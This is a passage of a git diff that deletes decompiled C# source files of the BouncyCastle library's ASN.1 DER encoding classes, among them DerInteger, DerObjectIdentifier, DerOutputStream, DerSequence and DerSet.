is DerInteger) - { - return (DerInteger)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerInteger GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - if (obj == null) - { - throw new ArgumentNullException("obj"); - } - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerInteger) - { - return GetInstance(asn1Object); - } - return new DerInteger(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerInteger(int value) - { - bytes = BigInteger.ValueOf(value).ToByteArray(); - } - - public DerInteger(BigInteger value) - { - if (value == null) - { - throw new ArgumentNullException("value"); - } - bytes = value.ToByteArray(); - } - - public DerInteger(byte[] bytes) - { - if (bytes.Length > 1 && ((bytes[0] == 0 && (bytes[1] & 0x80) == 0) || (bytes[0] == byte.MaxValue && (bytes[1] & 0x80) != 0)) && !AllowUnsafe()) - { - throw new ArgumentException("malformed integer"); - } - this.bytes = Arrays.Clone(bytes); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(2, bytes); - } - - protected override int Asn1GetHashCode() - { - return Arrays.GetHashCode(bytes); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerInteger derInteger)) - { - return false; - } - return Arrays.AreEqual(bytes, derInteger.bytes); - } - - public override string ToString() - { - return Value.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNull.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNull.cs deleted file mode 100644 index 3dedbc0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNull.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1; - -public class DerNull : Asn1Null -{ - public static readonly DerNull Instance = new DerNull(0); - - private byte[] zeroBytes = new byte[0]; - - [Obsolete("Use static Instance object")] - public DerNull() - { - } - - protected internal DerNull(int dummy) - { - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(5, zeroBytes); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - return asn1Object is DerNull; - } - - protected override int Asn1GetHashCode() - { - return -1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNumericString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNumericString.cs deleted file mode 100644 index 1d9fee3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerNumericString.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerNumericString : DerStringBase -{ - private readonly string str; - - public static DerNumericString GetInstance(object obj) - { - if (obj == null || obj is DerNumericString) - { - return (DerNumericString)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerNumericString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerNumericString) - { - return GetInstance(asn1Object); - } - return new DerNumericString(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerNumericString(byte[] str) - : this(Strings.FromAsciiByteArray(str), validate: false) - { - } - - public DerNumericString(string str) - : this(str, validate: false) - { - } - - public DerNumericString(string str, bool validate) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - if (validate && !IsNumericString(str)) - { - throw new ArgumentException("string contains illegal characters", "str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - public byte[] GetOctets() - { - return Strings.ToAsciiByteArray(str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(18, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerNumericString derNumericString)) - { - return false; - } - return str.Equals(derNumericString.str); - } - - public static bool IsNumericString(string str) - { - foreach (char c in str) - { - if (c > '\u007f' || (c != ' ' && !char.IsDigit(c))) - { - return false; - } - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerObjectIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerObjectIdentifier.cs deleted file mode 100644 index a022e28..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerObjectIdentifier.cs +++ /dev/null @@ -1,312 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerObjectIdentifier : Asn1Object -{ - private const long LONG_LIMIT = 72057594037927808L; - - private readonly string identifier; - - private byte[] body = null; - - private static readonly DerObjectIdentifier[] cache = new DerObjectIdentifier[1024]; - - public string Id => identifier; - - public static DerObjectIdentifier GetInstance(object obj) - { - if (obj == null || obj is DerObjectIdentifier) - { - return (DerObjectIdentifier)obj; - } - if (obj is byte[]) - { - return FromOctetString((byte[])obj); - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static DerObjectIdentifier GetInstance(Asn1TaggedObject obj, bool explicitly) - { - Asn1Object asn1Object = obj.GetObject(); - if (explicitly || asn1Object is DerObjectIdentifier) - { - return GetInstance(asn1Object); - } - return FromOctetString(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerObjectIdentifier(string identifier) - { - if (identifier == null) - { - throw new ArgumentNullException("identifier"); - } - if (!IsValidIdentifier(identifier)) - { - throw new FormatException("string " + identifier + " not an OID"); - } - this.identifier = identifier; - } - - internal DerObjectIdentifier(DerObjectIdentifier oid, string branchID) - { - if (!IsValidBranchID(branchID, 0)) - { - throw new ArgumentException("string " + branchID + " not a valid OID branch", "branchID"); - } - identifier = oid.Id + "." + branchID; - } - - public virtual DerObjectIdentifier Branch(string branchID) - { - return new DerObjectIdentifier(this, branchID); - } - - public virtual bool On(DerObjectIdentifier stem) - { - string id = Id; - string id2 = stem.Id; - if (id.Length > id2.Length && id[id2.Length] == '.') - { - return Platform.StartsWith(id, id2); - } - return false; - } - - internal DerObjectIdentifier(byte[] bytes) - { - identifier = MakeOidStringFromBytes(bytes); - body = Arrays.Clone(bytes); - } - - private void WriteField(Stream outputStream, long fieldValue) - { - byte[] array = new byte[9]; - int num = 8; - array[num] = (byte)(fieldValue & 0x7F); - while (fieldValue >= 128) - { - fieldValue >>= 7; - array[--num] = (byte)((fieldValue & 0x7F) | 0x80); - } - outputStream.Write(array, num, 9 - num); - } - - private void WriteField(Stream outputStream, BigInteger fieldValue) - { - int num = (fieldValue.BitLength + 6) / 7; - if (num == 0) - { - outputStream.WriteByte(0); - return; - } - BigInteger bigInteger = fieldValue; - byte[] array = new byte[num]; - for (int num2 = num - 1; num2 >= 0; num2--) - { - array[num2] = (byte)((bigInteger.IntValue & 0x7F) | 0x80); - bigInteger = bigInteger.ShiftRight(7); - } - byte[] array3; - byte[] array2 = (array3 = array); - int num3 = num - 1; - nint num4 = num3; - array2[num3] = (byte)(array3[num4] & 0x7F); - outputStream.Write(array, 0, array.Length); - } - - private void DoOutput(MemoryStream bOut) - { - OidTokenizer oidTokenizer = new OidTokenizer(identifier); - string s = oidTokenizer.NextToken(); - int num = int.Parse(s) * 40; - s = oidTokenizer.NextToken(); - if (s.Length <= 18) - { - WriteField(bOut, num + long.Parse(s)); - } - else - { - WriteField(bOut, new BigInteger(s).Add(BigInteger.ValueOf(num))); - } - while (oidTokenizer.HasMoreTokens) - { - s = oidTokenizer.NextToken(); - if (s.Length <= 18) - { - WriteField(bOut, long.Parse(s)); - } - else - { - WriteField(bOut, new BigInteger(s)); - } - } - } - - internal byte[] GetBody() - { - lock (this) - { - if (body == null) - { - MemoryStream memoryStream = new MemoryStream(); - DoOutput(memoryStream); - body = memoryStream.ToArray(); - } - } - return body; - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(6, GetBody()); - } - - protected override int Asn1GetHashCode() - { - return identifier.GetHashCode(); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerObjectIdentifier derObjectIdentifier)) - { - return false; - } - return identifier.Equals(derObjectIdentifier.identifier); - } - - public override string ToString() - { - return identifier; - } - - private static bool IsValidBranchID(string branchID, int start) - { - bool flag = false; - int num = branchID.Length; - while (--num >= start) - { - char c = branchID[num]; - if ('0' <= c && c <= '9') - { - flag = true; - continue; - } - if (c == '.') - { - if (!flag) - { - return false; - } - flag = false; - continue; - } - return false; - } - return flag; - } - - private static bool IsValidIdentifier(string identifier) - { - if (identifier.Length < 3 || identifier[1] != '.') - { - return false; - } - char c = identifier[0]; - if (c < '0' || c > '2') - { - return false; - } - return IsValidBranchID(identifier, 2); - } - - private static string MakeOidStringFromBytes(byte[] bytes) - { - StringBuilder stringBuilder = new StringBuilder(); - long num = 0L; - BigInteger bigInteger = null; - bool flag = true; - for (int i = 0; i != bytes.Length; i++) - { - int num2 = bytes[i]; - if (num <= 72057594037927808L) - { - num += num2 & 0x7F; - if ((num2 & 0x80) == 0) - { - if (flag) - { - if (num < 40) - { - stringBuilder.Append('0'); - } - else if (num < 80) - { - stringBuilder.Append('1'); - num -= 40; - } - else - { - stringBuilder.Append('2'); - num -= 80; - } - flag = false; - } - stringBuilder.Append('.'); - stringBuilder.Append(num); - num = 0L; - } - else - { - num <<= 7; - } - continue; - } - if (bigInteger == null) - { - bigInteger = BigInteger.ValueOf(num); - } - bigInteger = bigInteger.Or(BigInteger.ValueOf(num2 & 0x7F)); - if ((num2 & 0x80) == 0) - { - if (flag) - { - stringBuilder.Append('2'); - bigInteger = bigInteger.Subtract(BigInteger.ValueOf(80L)); - flag = false; - } - stringBuilder.Append('.'); - stringBuilder.Append(bigInteger); - bigInteger = null; - num = 0L; - } - else - { - bigInteger = bigInteger.ShiftLeft(7); - } - } - return stringBuilder.ToString(); - } - - internal static DerObjectIdentifier FromOctetString(byte[] enc) - { - int hashCode = Arrays.GetHashCode(enc); - int num = hashCode & 0x3FF; - lock (cache) - { - DerObjectIdentifier derObjectIdentifier = cache[num]; - if (derObjectIdentifier != null && Arrays.AreEqual(enc, derObjectIdentifier.GetBody())) - { - return derObjectIdentifier; - } - return cache[num] = new DerObjectIdentifier(enc); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetString.cs deleted file mode 100644 index 4692165..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetString.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class DerOctetString : Asn1OctetString -{ - public DerOctetString(byte[] str) - : base(str) - { - } - - public DerOctetString(Asn1Encodable obj) - : base(obj) - { - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(4, str); - } - - internal static void Encode(DerOutputStream derOut, byte[] bytes, int offset, int length) - { - derOut.WriteEncoded(4, bytes, offset, length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetStringParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetStringParser.cs deleted file mode 100644 index 651d2c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOctetStringParser.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class DerOctetStringParser : Asn1OctetStringParser, IAsn1Convertible -{ - private readonly DefiniteLengthInputStream stream; - - internal DerOctetStringParser(DefiniteLengthInputStream stream) - { - this.stream = stream; - } - - public Stream GetOctetStream() - { - return stream; - } - - public Asn1Object ToAsn1Object() - { - try - { - return new DerOctetString(stream.ToArray()); - } - catch (IOException ex) - { - throw new InvalidOperationException("IOException converting stream to byte array: " + ex.Message, ex); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOutputStream.cs deleted file mode 100644 index 039fa57..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerOutputStream.cs +++ /dev/null @@ -1,140 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public class DerOutputStream : FilterStream -{ - public DerOutputStream(Stream os) - : base(os) - { - } - - private void WriteLength(int length) - { - if (length > 127) - { - int num = 1; - uint num2 = (uint)length; - while ((num2 >>= 8) != 0) - { - num++; - } - WriteByte((byte)(num | 0x80)); - for (int num3 = (num - 1) * 8; num3 >= 0; num3 -= 8) - { - WriteByte((byte)(length >> num3)); - } - } - else - { - WriteByte((byte)length); - } - } - - internal void WriteEncoded(int tag, byte[] bytes) - { - WriteByte((byte)tag); - WriteLength(bytes.Length); - Write(bytes, 0, bytes.Length); - } - - internal void WriteEncoded(int tag, byte first, byte[] bytes) - { - WriteByte((byte)tag); - WriteLength(bytes.Length + 1); - WriteByte(first); - Write(bytes, 0, bytes.Length); - } - - internal void WriteEncoded(int tag, byte[] bytes, int offset, int length) - { - WriteByte((byte)tag); - WriteLength(length); - Write(bytes, offset, length); - } - - internal void WriteTag(int flags, int tagNo) - { - if (tagNo < 31) - { - WriteByte((byte)(flags | tagNo)); - return; - } - WriteByte((byte)(flags | 0x1F)); - if (tagNo < 128) - { - WriteByte((byte)tagNo); - return; - } - byte[] array = new byte[5]; - int num = array.Length; - array[--num] = (byte)(tagNo & 0x7F); - do - { - tagNo >>= 7; - array[--num] = (byte)((tagNo & 0x7F) | 0x80); - } - while (tagNo > 127); - Write(array, num, array.Length - num); - } - - internal void WriteEncoded(int flags, int tagNo, byte[] bytes) - { - WriteTag(flags, tagNo); - WriteLength(bytes.Length); - Write(bytes, 0, bytes.Length); - } - - protected void WriteNull() - { - WriteByte(5); - WriteByte(0); - } - - [Obsolete("Use version taking an Asn1Encodable arg instead")] - public virtual void WriteObject(object obj) - { - if (obj == null) - { - WriteNull(); - return; - } - if (obj is Asn1Object) - { - ((Asn1Object)obj).Encode(this); - return; - } - if (obj is Asn1Encodable) - { - ((Asn1Encodable)obj).ToAsn1Object().Encode(this); - return; - } - throw new IOException("object not Asn1Object"); - } - - public virtual void WriteObject(Asn1Encodable obj) - { - if (obj == null) - { - WriteNull(); - } - else - { - obj.ToAsn1Object().Encode(this); - } - } - - public virtual void WriteObject(Asn1Object obj) - { - if (obj == null) - { - WriteNull(); - } - else - { - obj.Encode(this); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerPrintableString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerPrintableString.cs deleted file mode 100644 index d494e67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerPrintableString.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerPrintableString : DerStringBase -{ - private readonly string str; - - public static DerPrintableString GetInstance(object obj) - { - if (obj == null || obj is DerPrintableString) - { - return (DerPrintableString)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerPrintableString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerPrintableString) - { - return GetInstance(asn1Object); - } - return new DerPrintableString(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerPrintableString(byte[] str) - : this(Strings.FromAsciiByteArray(str), validate: false) - { - } - - public DerPrintableString(string str) - : this(str, validate: false) - { - } - - public DerPrintableString(string str, bool validate) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - if (validate && !IsPrintableString(str)) - { - throw new ArgumentException("string contains illegal characters", "str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - public byte[] GetOctets() - { - return Strings.ToAsciiByteArray(str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(19, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerPrintableString derPrintableString)) - { - return false; - } - return str.Equals(derPrintableString.str); - } - - public static bool IsPrintableString(string str) - { - foreach (char c in str) - { - if (c > '\u007f') - { - return false; - } - if (!char.IsLetterOrDigit(c)) - { - switch (c) - { - case ' ': - case '\'': - case '(': - case ')': - case '+': - case ',': - case '-': - case '.': - case '/': - case ':': - case '=': - case '?': - continue; - } - return false; - } - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequence.cs deleted file mode 100644 index 9912c1e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequence.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerSequence : Asn1Sequence -{ - public static readonly DerSequence Empty = new DerSequence(); - - public static DerSequence FromVector(Asn1EncodableVector v) - { - if (v.Count >= 1) - { - return new DerSequence(v); - } - return Empty; - } - - public DerSequence() - : base(0) - { - } - - public DerSequence(Asn1Encodable obj) - : base(1) - { - AddObject(obj); - } - - public DerSequence(params Asn1Encodable[] v) - : base(v.Length) - { - foreach (Asn1Encodable obj in v) - { - AddObject(obj); - } - } - - public DerSequence(Asn1EncodableVector v) - : base(v.Count) - { - foreach (Asn1Encodable item in v) - { - AddObject(item); - } - } - - internal override void Encode(DerOutputStream derOut) - { - MemoryStream memoryStream = new MemoryStream(); - DerOutputStream derOutputStream = new DerOutputStream(memoryStream); - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - Asn1Encodable obj = (Asn1Encodable)enumerator.Current; - derOutputStream.WriteObject(obj); - } - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - Platform.Dispose(derOutputStream); - byte[] bytes = memoryStream.ToArray(); - derOut.WriteEncoded(48, bytes); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceGenerator.cs deleted file mode 100644 index cb8a744..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceGenerator.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class DerSequenceGenerator : DerGenerator -{ - private readonly MemoryStream _bOut = new MemoryStream(); - - public DerSequenceGenerator(Stream outStream) - : base(outStream) - { - } - - public DerSequenceGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream, tagNo, isExplicit) - { - } - - public override void AddObject(Asn1Encodable obj) - { - new DerOutputStream(_bOut).WriteObject(obj); - } - - public override Stream GetRawOutputStream() - { - return _bOut; - } - - public override void Close() - { - WriteDerEncoded(48, _bOut.ToArray()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceParser.cs deleted file mode 100644 index 6291be4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSequenceParser.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class DerSequenceParser : Asn1SequenceParser, IAsn1Convertible -{ - private readonly Asn1StreamParser _parser; - - internal DerSequenceParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return _parser.ReadObject(); - } - - public Asn1Object ToAsn1Object() - { - return new DerSequence(_parser.ReadVector()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSet.cs deleted file mode 100644 index d1b0a12..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSet.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerSet : Asn1Set -{ - public static readonly DerSet Empty = new DerSet(); - - public static DerSet FromVector(Asn1EncodableVector v) - { - if (v.Count >= 1) - { - return new DerSet(v); - } - return Empty; - } - - internal static DerSet FromVector(Asn1EncodableVector v, bool needsSorting) - { - if (v.Count >= 1) - { - return new DerSet(v, needsSorting); - } - return Empty; - } - - public DerSet() - : base(0) - { - } - - public DerSet(Asn1Encodable obj) - : base(1) - { - AddObject(obj); - } - - public DerSet(params Asn1Encodable[] v) - : base(v.Length) - { - foreach (Asn1Encodable obj in v) - { - AddObject(obj); - } - Sort(); - } - - public DerSet(Asn1EncodableVector v) - : this(v, needsSorting: true) - { - } - - internal DerSet(Asn1EncodableVector v, bool needsSorting) - : base(v.Count) - { - foreach (Asn1Encodable item in v) - { - AddObject(item); - } - if (needsSorting) - { - Sort(); - } - } - - internal override void Encode(DerOutputStream derOut) - { - MemoryStream memoryStream = new MemoryStream(); - DerOutputStream derOutputStream = new DerOutputStream(memoryStream); - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - Asn1Encodable obj = (Asn1Encodable)enumerator.Current; - derOutputStream.WriteObject(obj); - } - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - Platform.Dispose(derOutputStream); - byte[] bytes = memoryStream.ToArray(); - derOut.WriteEncoded(49, bytes); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetGenerator.cs deleted file mode 100644 index b1fecc9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetGenerator.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class DerSetGenerator : DerGenerator -{ - private readonly MemoryStream _bOut = new MemoryStream(); - - public DerSetGenerator(Stream outStream) - : base(outStream) - { - } - - public DerSetGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream, tagNo, isExplicit) - { - } - - public override void AddObject(Asn1Encodable obj) - { - new DerOutputStream(_bOut).WriteObject(obj); - } - - public override Stream GetRawOutputStream() - { - return _bOut; - } - - public override void Close() - { - WriteDerEncoded(49, _bOut.ToArray()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetParser.cs deleted file mode 100644 index ba103fd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerSetParser.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class DerSetParser : Asn1SetParser, IAsn1Convertible -{ - private readonly Asn1StreamParser _parser; - - internal DerSetParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return _parser.ReadObject(); - } - - public Asn1Object ToAsn1Object() - { - return new DerSet(_parser.ReadVector(), needsSorting: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerStringBase.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerStringBase.cs deleted file mode 100644 index d4659c6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerStringBase.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public abstract class DerStringBase : Asn1Object, IAsn1String -{ - public abstract string GetString(); - - public override string ToString() - { - return GetString(); - } - - protected override int Asn1GetHashCode() - { - return GetString().GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerT61String.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerT61String.cs deleted file mode 100644 index 1f46972..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerT61String.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerT61String : DerStringBase -{ - private readonly string str; - - public static DerT61String GetInstance(object obj) - { - if (obj == null || obj is DerT61String) - { - return (DerT61String)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerT61String GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerT61String) - { - return GetInstance(asn1Object); - } - return new DerT61String(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerT61String(byte[] str) - : this(Strings.FromByteArray(str)) - { - } - - public DerT61String(string str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(20, GetOctets()); - } - - public byte[] GetOctets() - { - return Strings.ToByteArray(str); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerT61String derT61String)) - { - return false; - } - return str.Equals(derT61String.str); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerTaggedObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerTaggedObject.cs deleted file mode 100644 index 0673e34..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerTaggedObject.cs +++ /dev/null @@ -1,39 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class DerTaggedObject : Asn1TaggedObject -{ - public DerTaggedObject(int tagNo, Asn1Encodable obj) - : base(tagNo, obj) - { - } - - public DerTaggedObject(bool explicitly, int tagNo, Asn1Encodable obj) - : base(explicitly, tagNo, obj) - { - } - - public DerTaggedObject(int tagNo) - : base(explicitly: false, tagNo, DerSequence.Empty) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (!IsEmpty()) - { - byte[] derEncoded = obj.GetDerEncoded(); - if (explicitly) - { - derOut.WriteEncoded(160, tagNo, derEncoded); - return; - } - int flags = (derEncoded[0] & 0x20) | 0x80; - derOut.WriteTag(flags, tagNo); - derOut.Write(derEncoded, 1, derEncoded.Length - 1); - } - else - { - derOut.WriteEncoded(160, tagNo, new byte[0]); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUniversalString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUniversalString.cs deleted file mode 100644 index 160d50a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUniversalString.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerUniversalString : DerStringBase -{ - private static readonly char[] table = new char[16] - { - '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'A', 'B', 'C', 'D', 'E', 'F' - }; - - private readonly byte[] str; - - public static DerUniversalString GetInstance(object obj) - { - if (obj == null || obj is DerUniversalString) - { - return (DerUniversalString)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerUniversalString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerUniversalString) - { - return GetInstance(asn1Object); - } - return new DerUniversalString(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerUniversalString(byte[] str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - StringBuilder stringBuilder = new StringBuilder("#"); - byte[] derEncoded = GetDerEncoded(); - for (int i = 0; i != derEncoded.Length; i++) - { - uint num = derEncoded[i]; - stringBuilder.Append(table[(num >> 4) & 0xF]); - stringBuilder.Append(table[derEncoded[i] & 0xF]); - } - return stringBuilder.ToString(); - } - - public byte[] GetOctets() - { - return (byte[])str.Clone(); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(28, str); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerUniversalString derUniversalString)) - { - return false; - } - return Arrays.AreEqual(str, derUniversalString.str); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtcTime.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtcTime.cs deleted file mode 100644 index 2cea8f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerUtcTime.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using System.Globalization; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerUtcTime : Asn1Object -{ - private readonly string time; - - public string TimeString - { - get - { - if (time.IndexOf('-') < 0 && time.IndexOf('+') < 0) - { - if (time.Length == 11) - { - return 